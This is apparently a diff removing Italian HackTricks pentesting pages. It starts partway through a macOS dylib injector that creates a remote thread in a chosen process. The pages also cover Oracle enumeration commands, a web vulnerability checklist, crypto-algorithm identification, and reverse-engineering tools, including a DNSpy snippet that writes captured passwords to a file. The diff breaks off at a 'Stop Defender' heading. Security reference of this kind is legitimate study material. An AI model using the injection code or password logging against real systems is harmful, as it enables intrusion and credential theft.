if (kr != KERN_SUCCESS) {
|
||||
fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr));
|
||||
return (-3);
|
||||
}
|
||||
|
||||
return (0);
|
||||
}
|
||||
|
||||
|
||||
|
||||
int main(int argc, const char * argv[])
|
||||
{
|
||||
if (argc < 3)
|
||||
{
|
||||
fprintf (stderr, "Usage: %s _pid_ _action_\n", argv[0]);
|
||||
fprintf (stderr, " _action_: path to a dylib on disk\n");
|
||||
exit(0);
|
||||
}
|
||||
|
||||
pid_t pid = atoi(argv[1]);
|
||||
const char *action = argv[2];
|
||||
struct stat buf;
|
||||
|
||||
int rc = stat (action, &buf);
|
||||
if (rc == 0) inject(pid,action);
|
||||
else
|
||||
{
|
||||
fprintf(stderr,"Dylib not found\n");
|
||||
}
|
||||
|
||||
}
|
||||
```
|
||||
</details>
|
||||
```bash
|
||||
gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
|
||||
./inject <pid-of-mysleep> </path/to/lib.dylib>
|
||||
```
|
||||
### Thread Hijacking via Task port <a href="#step-1-thread-hijacking" id="step-1-thread-hijacking"></a>
|
||||
|
||||
In questa tecnica un thread del processo viene hijacked:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md
|
||||
{{#endref}}
|
||||
|
||||
## XPC
|
||||
|
||||
### Informazioni di base
|
||||
|
||||
XPC, che sta per XNU (il kernel utilizzato da macOS) inter-Process Communication, è un framework per **la comunicazione tra processi** su macOS e iOS. XPC fornisce un meccanismo per effettuare **chiamate a metodi sicure e asincrone tra diversi processi** sul sistema. Fa parte del paradigma di sicurezza di Apple, consentendo la **creazione di applicazioni separate per privilegi** in cui ogni **componente** funziona con **solo i permessi necessari** per svolgere il proprio lavoro, limitando così il potenziale danno derivante da un processo compromesso.
|
||||
|
||||
Per ulteriori informazioni su come questa **comunicazione funziona** e su come potrebbe **essere vulnerabile**, controlla:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/
|
||||
{{#endref}}
|
||||
|
||||
## MIG - Mach Interface Generator
|
||||
|
||||
MIG è stato creato per **semplificare il processo di creazione del codice Mach IPC**. Fondamentalmente **genera il codice necessario** affinché server e client comunichino con una data definizione. Anche se il codice generato è brutto, uno sviluppatore dovrà solo importarlo e il suo codice sarà molto più semplice di prima.
|
||||
|
||||
Per ulteriori informazioni, controlla:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md
|
||||
{{#endref}}
|
||||
|
||||
## Riferimenti
|
||||
|
||||
- [https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)
|
||||
- [https://knight.sc/malware/2019/03/15/code-injection-on-macos.html](https://knight.sc/malware/2019/03/15/code-injection-on-macos.html)
|
||||
- [https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a](https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a)
|
||||
- [https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
|
||||
- [https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
@ -1,61 +0,0 @@
|
||||
# 1521,1522-1529 - Pentesting Oracle TNS Listener
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Informazioni di base
|
||||
|
||||
Il database Oracle (Oracle DB) è un sistema di gestione di database relazionali (RDBMS) della Oracle Corporation (da [qui](https://www.techopedia.com/definition/8711/oracle-database)).
|
||||
|
||||
Quando si enumera Oracle, il primo passo è comunicare con il TNS-Listener che di solito risiede sulla porta predefinita (1521/TCP, -potresti anche trovare listener secondari su 1522–1529-).
|
||||
```
|
||||
1521/tcp open oracle-tns Oracle TNS Listener 9.2.0.1.0 (for 32-bit Windows)
|
||||
1748/tcp open oracle-tns Oracle TNS Listener
|
||||
```
|
||||
## Riepilogo
|
||||
|
||||
1. **Version Enumeration**: Identificare le informazioni sulla versione per cercare vulnerabilità note.
|
||||
2. **TNS Listener Bruteforce**: A volte necessario per stabilire comunicazione.
|
||||
3. **SID Name Enumeration/Bruteforce**: Scoprire i nomi dei database (SID).
|
||||
4. **Credential Bruteforce**: Tentare di accedere al SID scoperto.
|
||||
5. **Code Execution**: Tentare di eseguire codice sul sistema.
|
||||
|
||||
Per utilizzare i moduli MSF oracle è necessario installare alcune dipendenze: [**Installazione**](oracle-pentesting-requirements-installation.md)
|
||||
|
||||
## Post
|
||||
|
||||
Controlla questi post:
|
||||
|
||||
- [https://secybr.com/posts/oracle-pentesting-best-practices/](https://secybr.com/posts/oracle-pentesting-best-practices/)
|
||||
- [https://medium.com/@netscylla/pentesters-guide-to-oracle-hacking-1dcf7068d573](https://medium.com/@netscylla/pentesters-guide-to-oracle-hacking-1dcf7068d573)
|
||||
- [https://hackmag.com/uncategorized/looking-into-methods-to-penetrate-oracle-db/](https://hackmag.com/uncategorized/looking-into-methods-to-penetrate-oracle-db/)
|
||||
- [http://blog.opensecurityresearch.com/2012/03/top-10-oracle-steps-to-secure-oracle.html](http://blog.opensecurityresearch.com/2012/03/top-10-oracle-steps-to-secure-oracle.html)
|
||||
|
||||
## HackTricks Comandi Automatici
|
||||
```
|
||||
Protocol_Name: Oracle #Protocol Abbreviation if there is one.
|
||||
Port_Number: 1521 #Comma separated if there is more than one.
|
||||
Protocol_Description: Oracle TNS Listener #Protocol Abbreviation Spelled out
|
||||
|
||||
Entry_1:
|
||||
Name: Notes
|
||||
Description: Notes for Oracle
|
||||
Note: |
|
||||
Oracle database (Oracle DB) is a relational database management system (RDBMS) from the Oracle Corporation
|
||||
|
||||
#great oracle enumeration tool
|
||||
navigate to https://github.com/quentinhardy/odat/releases/
|
||||
download the latest
|
||||
tar -xvf odat-linux-libc2.12-x86_64.tar.gz
|
||||
cd odat-libc2.12-x86_64/
|
||||
./odat-libc2.12-x86_64 all -s 10.10.10.82
|
||||
|
||||
for more details check https://github.com/quentinhardy/odat/wiki
|
||||
|
||||
https://book.hacktricks.wiki/en/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener.html
|
||||
|
||||
Entry_2:
|
||||
Name: Nmap
|
||||
Description: Nmap with Oracle Scripts
|
||||
Command: nmap --script "oracle-tns-version" -p 1521 -T4 -sV {IP}
|
||||
```
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -1,130 +0,0 @@
|
||||
# Web Vulnerabilities Methodology
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
In ogni Web Pentest, ci sono **diversi luoghi nascosti e ovvi che potrebbero essere vulnerabili**. Questo post è pensato per essere un elenco di controllo per confermare che hai cercato vulnerabilità in tutti i possibili luoghi.
|
||||
|
||||
## Proxies
|
||||
|
||||
> [!TIP]
|
||||
> Oggigiorno **le** **applicazioni** **web** di solito **utilizzano** qualche tipo di **proxy** **intermediario**, che possono essere (ab)usati per sfruttare vulnerabilità. Queste vulnerabilità necessitano di un proxy vulnerabile per essere presenti, ma di solito richiedono anche qualche vulnerabilità extra nel backend.
|
||||
|
||||
- [ ] [**Abusing hop-by-hop headers**](../abusing-hop-by-hop-headers.md)
|
||||
- [ ] [**Cache Poisoning/Cache Deception**](../cache-deception.md)
|
||||
- [ ] [**HTTP Request Smuggling**](../http-request-smuggling/index.html)
|
||||
- [ ] [**H2C Smuggling**](../h2c-smuggling.md)
|
||||
- [ ] [**Server Side Inclusion/Edge Side Inclusion**](../server-side-inclusion-edge-side-inclusion-injection.md)
|
||||
- [ ] [**Uncovering Cloudflare**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)
|
||||
- [ ] [**XSLT Server Side Injection**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
|
||||
- [ ] [**Proxy / WAF Protections Bypass**](../proxy-waf-protections-bypass.md)
|
||||
|
||||
## **User input**
|
||||
|
||||
> [!TIP]
|
||||
> La maggior parte delle applicazioni web **consentirà agli utenti di inserire alcuni dati che verranno elaborati in seguito.**\
|
||||
> A seconda della struttura dei dati che il server si aspetta, alcune vulnerabilità potrebbero o meno applicarsi.
|
||||
|
||||
### **Reflected Values**
|
||||
|
||||
Se i dati introdotti possono in qualche modo essere riflessi nella risposta, la pagina potrebbe essere vulnerabile a diversi problemi.
|
||||
|
||||
- [ ] [**Client Side Template Injection**](../client-side-template-injection-csti.md)
|
||||
- [ ] [**Command Injection**](../command-injection.md)
|
||||
- [ ] [**CRLF**](../crlf-0d-0a.md)
|
||||
- [ ] [**Dangling Markup**](../dangling-markup-html-scriptless-injection/index.html)
|
||||
- [ ] [**File Inclusion/Path Traversal**](../file-inclusion/index.html)
|
||||
- [ ] [**Open Redirect**](../open-redirect.md)
|
||||
- [ ] [**Prototype Pollution to XSS**](../deserialization/nodejs-proto-prototype-pollution/index.html#client-side-prototype-pollution-to-xss)
|
||||
- [ ] [**Server Side Inclusion/Edge Side Inclusion**](../server-side-inclusion-edge-side-inclusion-injection.md)
|
||||
- [ ] [**Server Side Request Forgery**](../ssrf-server-side-request-forgery/index.html)
|
||||
- [ ] [**Server Side Template Injection**](../ssti-server-side-template-injection/index.html)
|
||||
- [ ] [**Reverse Tab Nabbing**](../reverse-tab-nabbing.md)
|
||||
- [ ] [**XSLT Server Side Injection**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
|
||||
- [ ] [**XSS**](../xss-cross-site-scripting/index.html)
|
||||
- [ ] [**XSSI**](../xssi-cross-site-script-inclusion.md)
|
||||
- [ ] [**XS-Search**](../xs-search.md)
|
||||
|
||||
Alcune delle vulnerabilità menzionate richiedono condizioni speciali, altre richiedono solo che il contenuto venga riflesso. Puoi trovare alcuni interessanti polygloths per testare rapidamente le vulnerabilità in:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../pocs-and-polygloths-cheatsheet/
|
||||
{{#endref}}
|
||||
|
||||
### **Search functionalities**
|
||||
|
||||
Se la funzionalità può essere utilizzata per cercare qualche tipo di dati all'interno del backend, forse puoi (ab)usarla per cercare dati arbitrari.
|
||||
|
||||
- [ ] [**File Inclusion/Path Traversal**](../file-inclusion/index.html)
|
||||
- [ ] [**NoSQL Injection**](../nosql-injection.md)
|
||||
- [ ] [**LDAP Injection**](../ldap-injection.md)
|
||||
- [ ] [**ReDoS**](../regular-expression-denial-of-service-redos.md)
|
||||
- [ ] [**SQL Injection**](../sql-injection/index.html)
|
||||
- [ ] [**XPATH Injection**](../xpath-injection.md)
|
||||
|
||||
### **Forms, WebSockets and PostMsgs**
|
||||
|
||||
Quando un websocket invia un messaggio o un modulo che consente agli utenti di eseguire azioni, possono sorgere vulnerabilità.
|
||||
|
||||
- [ ] [**Cross Site Request Forgery**](../csrf-cross-site-request-forgery.md)
|
||||
- [ ] [**Cross-site WebSocket hijacking (CSWSH)**](../websocket-attacks.md)
|
||||
- [ ] [**PostMessage Vulnerabilities**](../postmessage-vulnerabilities/index.html)
|
||||
|
||||
### **HTTP Headers**
|
||||
|
||||
A seconda degli header HTTP forniti dal server web, alcune vulnerabilità potrebbero essere presenti.
|
||||
|
||||
- [ ] [**Clickjacking**](../clickjacking.md)
|
||||
- [ ] [**Content Security Policy bypass**](../content-security-policy-csp-bypass/index.html)
|
||||
- [ ] [**Cookies Hacking**](../hacking-with-cookies/index.html)
|
||||
- [ ] [**CORS - Misconfigurations & Bypass**](../cors-bypass.md)
|
||||
|
||||
### **Bypasses**
|
||||
|
||||
Ci sono diverse funzionalità specifiche dove alcune soluzioni alternative potrebbero essere utili per bypassarle.
|
||||
|
||||
- [ ] [**2FA/OTP Bypass**](../2fa-bypass.md)
|
||||
- [ ] [**Bypass Payment Process**](../bypass-payment-process.md)
|
||||
- [ ] [**Captcha Bypass**](../captcha-bypass.md)
|
||||
- [ ] [**Login Bypass**](../login-bypass/index.html)
|
||||
- [ ] [**Race Condition**](../race-condition.md)
|
||||
- [ ] [**Rate Limit Bypass**](../rate-limit-bypass.md)
|
||||
- [ ] [**Reset Forgotten Password Bypass**](../reset-password.md)
|
||||
- [ ] [**Registration Vulnerabilities**](../registration-vulnerabilities.md)
|
||||
|
||||
### **Structured objects / Specific functionalities**
|
||||
|
||||
Alcune funzionalità richiederanno che **i dati siano strutturati in un formato molto specifico** (come un oggetto serializzato in linguaggio o XML). Pertanto, è più facile identificare se l'applicazione potrebbe essere vulnerabile poiché deve elaborare quel tipo di dati.\
|
||||
Alcune **funzionalità specifiche** potrebbero essere vulnerabili se viene utilizzato un **formato specifico dell'input** (come le Email Header Injections).
|
||||
|
||||
- [ ] [**Deserialization**](../deserialization/index.html)
|
||||
- [ ] [**Email Header Injection**](../email-injections.md)
|
||||
- [ ] [**JWT Vulnerabilities**](../hacking-jwt-json-web-tokens.md)
|
||||
- [ ] [**XML External Entity**](../xxe-xee-xml-external-entity.md)
|
||||
|
||||
### Files
|
||||
|
||||
Le funzionalità che consentono il caricamento di file potrebbero essere vulnerabili a diversi problemi.\
|
||||
Le funzionalità che generano file includendo input dell'utente potrebbero eseguire codice imprevisto.\
|
||||
Gli utenti che aprono file caricati da altri utenti o generati automaticamente includendo input dell'utente potrebbero essere compromessi.
|
||||
|
||||
- [ ] [**File Upload**](../file-upload/index.html)
|
||||
- [ ] [**Formula Injection**](../formula-csv-doc-latex-ghostscript-injection.md)
|
||||
- [ ] [**PDF Injection**](../xss-cross-site-scripting/pdf-injection.md)
|
||||
- [ ] [**Server Side XSS**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)
|
||||
|
||||
### **External Identity Management**
|
||||
|
||||
- [ ] [**OAUTH to Account takeover**](../oauth-to-account-takeover.md)
|
||||
- [ ] [**SAML Attacks**](../saml-attacks/index.html)
|
||||
|
||||
### **Other Helpful Vulnerabilities**
|
||||
|
||||
Queste vulnerabilità potrebbero aiutare a sfruttare altre vulnerabilità.
|
||||
|
||||
- [ ] [**Domain/Subdomain takeover**](../domain-subdomain-takeover.md)
|
||||
- [ ] [**IDOR**](../idor.md)
|
||||
- [ ] [**Parameter Pollution**](../parameter-pollution.md)
|
||||
- [ ] [**Unicode Normalization vulnerability**](../unicode-injection/index.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -1,183 +0,0 @@
|
||||
# Algoritmi di Crittografia/Compressione
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Identificazione degli Algoritmi
|
||||
|
||||
Se si termina in un codice **utilizzando shift a destra e a sinistra, xors e diverse operazioni aritmetiche** è altamente probabile che sia l'implementazione di un **algoritmo crittografico**. Qui verranno mostrati alcuni modi per **identificare l'algoritmo utilizzato senza dover invertire ogni passaggio**.
|
||||
|
||||
### Funzioni API
|
||||
|
||||
**CryptDeriveKey**
|
||||
|
||||
Se questa funzione è utilizzata, puoi scoprire quale **algoritmo è in uso** controllando il valore del secondo parametro:
|
||||
|
||||
 (1) (1) (1) (1).png>)
|
||||
|
||||
Controlla qui la tabella degli algoritmi possibili e i loro valori assegnati: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
|
||||
|
||||
**RtlCompressBuffer/RtlDecompressBuffer**
|
||||
|
||||
Comprimi e decomprimi un dato buffer.
|
||||
|
||||
**CryptAcquireContext**
|
||||
|
||||
Dai [documenti](https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptacquirecontexta): La funzione **CryptAcquireContext** è utilizzata per acquisire un handle a un particolare contenitore di chiavi all'interno di un particolare fornitore di servizi crittografici (CSP). **Questo handle restituito è utilizzato nelle chiamate alle funzioni CryptoAPI** che utilizzano il CSP selezionato.
|
||||
|
||||
**CryptCreateHash**
|
||||
|
||||
Inizia l'hashing di un flusso di dati. Se questa funzione è utilizzata, puoi scoprire quale **algoritmo è in uso** controllando il valore del secondo parametro:
|
||||
|
||||
.png>)
|
||||
|
||||
\
|
||||
Controlla qui la tabella degli algoritmi possibili e i loro valori assegnati: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
|
||||
|
||||
### Costanti di codice
|
||||
|
||||
A volte è davvero facile identificare un algoritmo grazie al fatto che deve utilizzare un valore speciale e unico.
|
||||
|
||||
.png>)
|
||||
|
||||
Se cerchi la prima costante su Google, questo è ciò che ottieni:
|
||||
|
||||
.png>)
|
||||
|
||||
Pertanto, puoi assumere che la funzione decompilata sia un **calcolatore sha256.**\
|
||||
Puoi cercare qualsiasi altra costante e otterrai (probabilmente) lo stesso risultato.
|
||||
|
||||
### info sui dati
|
||||
|
||||
Se il codice non ha alcuna costante significativa, potrebbe essere **in caricamento informazioni dalla sezione .data**.\
|
||||
Puoi accedere a quei dati, **raggruppare il primo dword** e cercarlo su Google come abbiamo fatto nella sezione precedente:
|
||||
|
||||
.png>)
|
||||
|
||||
In questo caso, se cerchi **0xA56363C6** puoi scoprire che è correlato alle **tabelle dell'algoritmo AES**.
|
||||
|
||||
## RC4 **(Crittografia Simmetrica)**
|
||||
|
||||
### Caratteristiche
|
||||
|
||||
È composto da 3 parti principali:
|
||||
|
||||
- **Fase di inizializzazione/**: Crea una **tabella di valori da 0x00 a 0xFF** (256 byte in totale, 0x100). Questa tabella è comunemente chiamata **Substitution Box** (o SBox).
|
||||
- **Fase di mescolamento**: Eseguirà un **loop attraverso la tabella** creata prima (loop di 0x100 iterazioni, di nuovo) modificando ciascun valore con byte **semi-casuali**. Per creare questi byte semi-casuali, viene utilizzata la **chiave RC4**. Le **chiavi RC4** possono essere **tra 1 e 256 byte di lunghezza**, tuttavia si raccomanda generalmente che siano superiori a 5 byte. Comunemente, le chiavi RC4 sono lunghe 16 byte.
|
||||
- **Fase XOR**: Infine, il testo in chiaro o il testo cifrato è **XORato con i valori creati prima**. La funzione per crittografare e decrittografare è la stessa. Per questo, verrà eseguito un **loop attraverso i 256 byte creati** tante volte quanto necessario. Questo è solitamente riconosciuto in un codice decompilato con un **%256 (mod 256)**.
|
||||
|
||||
> [!TIP]
|
||||
> **Per identificare un RC4 in un codice disassemblato/decompilato puoi controllare 2 loop di dimensione 0x100 (con l'uso di una chiave) e poi un XOR dei dati di input con i 256 valori creati prima nei 2 loop probabilmente usando un %256 (mod 256)**
|
||||
|
||||
### **Fase di Inizializzazione/Substitution Box:** (Nota il numero 256 usato come contatore e come uno 0 è scritto in ciascun posto dei 256 caratteri)
|
||||
|
||||
.png>)
|
||||
|
||||
### **Fase di Mescolamento:**
|
||||
|
||||
.png>)
|
||||
|
||||
### **Fase XOR:**
|
||||
|
||||
.png>)
|
||||
|
||||
## **AES (Crittografia Simmetrica)**
|
||||
|
||||
### **Caratteristiche**
|
||||
|
||||
- Uso di **scatole di sostituzione e tabelle di ricerca**
|
||||
- È possibile **distinguere AES grazie all'uso di valori specifici delle tabelle di ricerca** (costanti). _Nota che la **costante** può essere **memorizzata** nel binario **o creata** _ _**dinamicamente**._
|
||||
- La **chiave di crittografia** deve essere **divisibile** per **16** (di solito 32B) e di solito viene utilizzato un **IV** di 16B.
|
||||
|
||||
### Costanti SBox
|
||||
|
||||
.png>)
|
||||
|
||||
## Serpent **(Crittografia Simmetrica)**
|
||||
|
||||
### Caratteristiche
|
||||
|
||||
- È raro trovare malware che lo utilizzi, ma ci sono esempi (Ursnif)
|
||||
- Facile determinare se un algoritmo è Serpent o meno in base alla sua lunghezza (funzione estremamente lunga)
|
||||
|
||||
### Identificazione
|
||||
|
||||
Nell'immagine seguente nota come la costante **0x9E3779B9** è utilizzata (nota che questa costante è utilizzata anche da altri algoritmi crittografici come **TEA** -Tiny Encryption Algorithm).\
|
||||
Nota anche la **dimensione del loop** (**132**) e il **numero di operazioni XOR** nelle **istruzioni di disassemblaggio** e nell'**esempio di codice**:
|
||||
|
||||
.png>)
|
||||
|
||||
Come accennato in precedenza, questo codice può essere visualizzato all'interno di qualsiasi decompilatore come una **funzione molto lunga** poiché **non ci sono salti** al suo interno. Il codice decompilato può apparire come segue:
|
||||
|
||||
.png>)
|
||||
|
||||
Pertanto, è possibile identificare questo algoritmo controllando il **numero magico** e i **XOR iniziali**, vedendo una **funzione molto lunga** e **confrontando** alcune **istruzioni** della lunga funzione **con un'implementazione** (come lo shift a sinistra di 7 e la rotazione a sinistra di 22).
|
||||
|
||||
## RSA **(Crittografia Asimmetrica)**
|
||||
|
||||
### Caratteristiche
|
||||
|
||||
- Più complesso degli algoritmi simmetrici
|
||||
- Non ci sono costanti! (le implementazioni personalizzate sono difficili da determinare)
|
||||
- KANAL (un analizzatore crittografico) non riesce a mostrare indizi su RSA poiché si basa su costanti.
|
||||
|
||||
### Identificazione per confronti
|
||||
|
||||
.png>)
|
||||
|
||||
- Nella riga 11 (sinistra) c'è un `+7) >> 3` che è lo stesso della riga 35 (destra): `+7) / 8`
|
||||
- La riga 12 (sinistra) controlla se `modulus_len < 0x040` e nella riga 36 (destra) controlla se `inputLen+11 > modulusLen`
|
||||
|
||||
## MD5 & SHA (hash)
|
||||
|
||||
### Caratteristiche
|
||||
|
||||
- 3 funzioni: Init, Update, Final
|
||||
- Funzioni di inizializzazione simili
|
||||
|
||||
### Identificare
|
||||
|
||||
**Init**
|
||||
|
||||
Puoi identificare entrambi controllando le costanti. Nota che sha_init ha 1 costante che MD5 non ha:
|
||||
|
||||
.png>)
|
||||
|
||||
**MD5 Transform**
|
||||
|
||||
Nota l'uso di più costanti
|
||||
|
||||
 (1) (1) (1).png>)
|
||||
|
||||
## CRC (hash)
|
||||
|
||||
- Più piccolo e più efficiente poiché la sua funzione è trovare cambiamenti accidentali nei dati
|
||||
- Usa tabelle di ricerca (quindi puoi identificare costanti)
|
||||
|
||||
### Identificare
|
||||
|
||||
Controlla **costanti della tabella di ricerca**:
|
||||
|
||||
.png>)
|
||||
|
||||
Un algoritmo hash CRC appare come:
|
||||
|
||||
.png>)
|
||||
|
||||
## APLib (Compressione)
|
||||
|
||||
### Caratteristiche
|
||||
|
||||
- Costanti non riconoscibili
|
||||
- Puoi provare a scrivere l'algoritmo in python e cercare cose simili online
|
||||
|
||||
### Identificare
|
||||
|
||||
Il grafico è piuttosto grande:
|
||||
|
||||
 (2) (1).png>)
|
||||
|
||||
Controlla **3 confronti per riconoscerlo**:
|
||||
|
||||
.png>)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -1,114 +0,0 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
# Guida alla Decompilazione di Wasm e Compilazione di Wat
|
||||
|
||||
Nel campo del **WebAssembly**, gli strumenti per **decompilare** e **compilare** sono essenziali per gli sviluppatori. Questa guida introduce alcune risorse online e software per gestire i file **Wasm (WebAssembly binary)** e **Wat (WebAssembly text)**.
|
||||
|
||||
## Strumenti Online
|
||||
|
||||
- Per **decompilare** Wasm in Wat, lo strumento disponibile nella [demo wasm2wat di Wabt](https://webassembly.github.io/wabt/demo/wasm2wat/index.html) è molto utile.
|
||||
- Per **compilare** Wat di nuovo in Wasm, la [demo wat2wasm di Wabt](https://webassembly.github.io/wabt/demo/wat2wasm/) serve allo scopo.
|
||||
- Un'altra opzione di decompilazione può essere trovata in [web-wasmdec](https://wwwg.github.io/web-wasmdec/).
|
||||
|
||||
## Soluzioni Software
|
||||
|
||||
- Per una soluzione più robusta, [JEB di PNF Software](https://www.pnfsoftware.com/jeb/demo) offre funzionalità estese.
|
||||
- Il progetto open-source [wasmdec](https://github.com/wwwg/wasmdec) è anche disponibile per compiti di decompilazione.
|
||||
|
||||
# Risorse per la Decompilazione di .Net
|
||||
|
||||
Decompilare assembly .Net può essere realizzato con strumenti come:
|
||||
|
||||
- [ILSpy](https://github.com/icsharpcode/ILSpy), che offre anche un [plugin per Visual Studio Code](https://github.com/icsharpcode/ilspy-vscode), consentendo l'uso multipiattaforma.
|
||||
- Per compiti che coinvolgono **decompilazione**, **modifica** e **ricompilazione**, [dnSpy](https://github.com/0xd4d/dnSpy/releases) è altamente raccomandato. **Facendo clic con il tasto destro** su un metodo e scegliendo **Modifica Metodo** si possono apportare modifiche al codice.
|
||||
- [dotPeek di JetBrains](https://www.jetbrains.com/es-es/decompiler/) è un'altra alternativa per decompilare assembly .Net.
|
||||
|
||||
## Migliorare il Debugging e il Logging con DNSpy
|
||||
|
||||
### Logging di DNSpy
|
||||
|
||||
Per registrare informazioni in un file utilizzando DNSpy, integra il seguente frammento di codice .Net:
|
||||
|
||||
%%%cpp
|
||||
using System.IO;
|
||||
path = "C:\\inetpub\\temp\\MyTest2.txt";
|
||||
File.AppendAllText(path, "Password: " + password + "\n");
|
||||
%%%
|
||||
|
||||
### Debugging di DNSpy
|
||||
|
||||
Per un debugging efficace con DNSpy, si raccomanda una sequenza di passaggi per regolare gli **attributi dell'Assembly** per il debugging, assicurandosi che le ottimizzazioni che potrebbero ostacolare il debugging siano disabilitate. Questo processo include la modifica delle impostazioni di `DebuggableAttribute`, la ricompilazione dell'assembly e il salvataggio delle modifiche.
|
||||
|
||||
Inoltre, per eseguire il debug di un'applicazione .Net eseguita da **IIS**, eseguire `iisreset /noforce` riavvia IIS. Per allegare DNSpy al processo IIS per il debugging, la guida istruisce sulla selezione del processo **w3wp.exe** all'interno di DNSpy e sull'avvio della sessione di debugging.
|
||||
|
||||
Per una visione completa dei moduli caricati durante il debugging, è consigliato accedere alla finestra **Moduli** in DNSpy, seguita dall'apertura di tutti i moduli e dalla ordinazione degli assembly per una navigazione e un debugging più facili.
|
||||
|
||||
Questa guida racchiude l'essenza della decompilazione di WebAssembly e .Net, offrendo un percorso per gli sviluppatori per affrontare questi compiti con facilità.
|
||||
|
||||
## **Decompilatore Java**
|
||||
|
||||
Per decompilare bytecode Java, questi strumenti possono essere molto utili:
|
||||
|
||||
- [jadx](https://github.com/skylot/jadx)
|
||||
- [JD-GUI](https://github.com/java-decompiler/jd-gui/releases)
|
||||
|
||||
## **Debugging di DLL**
|
||||
|
||||
### Utilizzando IDA
|
||||
|
||||
- **Rundll32** viene caricato da percorsi specifici per le versioni a 64 bit e a 32 bit.
|
||||
- **Windbg** è selezionato come debugger con l'opzione di sospendere il caricamento/scaricamento della libreria abilitata.
|
||||
- I parametri di esecuzione includono il percorso della DLL e il nome della funzione. Questa configurazione interrompe l'esecuzione al caricamento di ogni DLL.
|
||||
|
||||
### Utilizzando x64dbg/x32dbg
|
||||
|
||||
- Simile a IDA, **rundll32** viene caricato con modifiche alla riga di comando per specificare la DLL e la funzione.
|
||||
- Le impostazioni vengono regolate per interrompere all'ingresso della DLL, consentendo di impostare un punto di interruzione nel punto di ingresso desiderato della DLL.
|
||||
|
||||
### Immagini
|
||||
|
||||
- I punti di arresto dell'esecuzione e le configurazioni sono illustrati tramite screenshot.
|
||||
|
||||
## **ARM & MIPS**
|
||||
|
||||
- Per l'emulazione, [arm_now](https://github.com/nongiach/arm_now) è una risorsa utile.
|
||||
|
||||
## **Shellcodes**
|
||||
|
||||
### Tecniche di Debugging
|
||||
|
||||
- **Blobrunner** e **jmp2it** sono strumenti per allocare shellcode in memoria e debugarli con Ida o x64dbg.
|
||||
- Blobrunner [rilasci](https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5)
|
||||
- jmp2it [versione compilata](https://github.com/adamkramer/jmp2it/releases/)
|
||||
- **Cutter** offre emulazione e ispezione di shellcode basate su GUI, evidenziando le differenze nella gestione del shellcode come file rispetto al shellcode diretto.
|
||||
|
||||
### Deobfuscazione e Analisi
|
||||
|
||||
- **scdbg** fornisce informazioni sulle funzioni del shellcode e capacità di deobfuscazione.
|
||||
%%%bash
|
||||
scdbg.exe -f shellcode # Informazioni di base
|
||||
scdbg.exe -f shellcode -r # Rapporto di analisi
|
||||
scdbg.exe -f shellcode -i -r # Hook interattivi
|
||||
scdbg.exe -f shellcode -d # Dump del shellcode decodificato
|
||||
scdbg.exe -f shellcode /findsc # Trova l'offset di partenza
|
||||
scdbg.exe -f shellcode /foff 0x0000004D # Esegui dall'offset
|
||||
%%%
|
||||
|
||||
- **CyberChef** per disassemblare shellcode: [ricetta CyberChef](https://gchq.github.io/CyberChef/#recipe=To_Hex%28'Space',0%29Disassemble_x86%28'32','Full%20x86%20architecture',16,0,true,true%29)
|
||||
|
||||
## **Movfuscator**
|
||||
|
||||
- Un offuscante che sostituisce tutte le istruzioni con `mov`.
|
||||
- Risorse utili includono una [spiegazione su YouTube](https://www.youtube.com/watch?v=2VF_wPkiBJY) e [diapositive PDF](https://github.com/xoreaxeaxeax/movfuscator/blob/master/slides/domas_2015_the_movfuscator.pdf).
|
||||
- **demovfuscator** potrebbe invertire l'offuscamento di movfuscator, richiedendo dipendenze come `libcapstone-dev` e `libz3-dev`, e installando [keystone](https://github.com/keystone-engine/keystone/blob/master/docs/COMPILE-NIX.md).
|
||||
|
||||
## **Delphi**
|
||||
|
||||
- Per i binari Delphi, si raccomanda [IDR](https://github.com/crypto2011/IDR).
|
||||
|
||||
# Corsi
|
||||
|
||||
- [https://github.com/0xZ0F/Z0FCourse_ReverseEngineering](https://github.com/0xZ0F/Z0FCourse_ReverseEngineering)
|
||||
- [https://github.com/malrev/ABD](https://github.com/malrev/ABD) \(Deobfuscazione binaria\)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -6,44 +6,44 @@
|
||||
|
||||
## Stop Defender
|
||||
|
||||
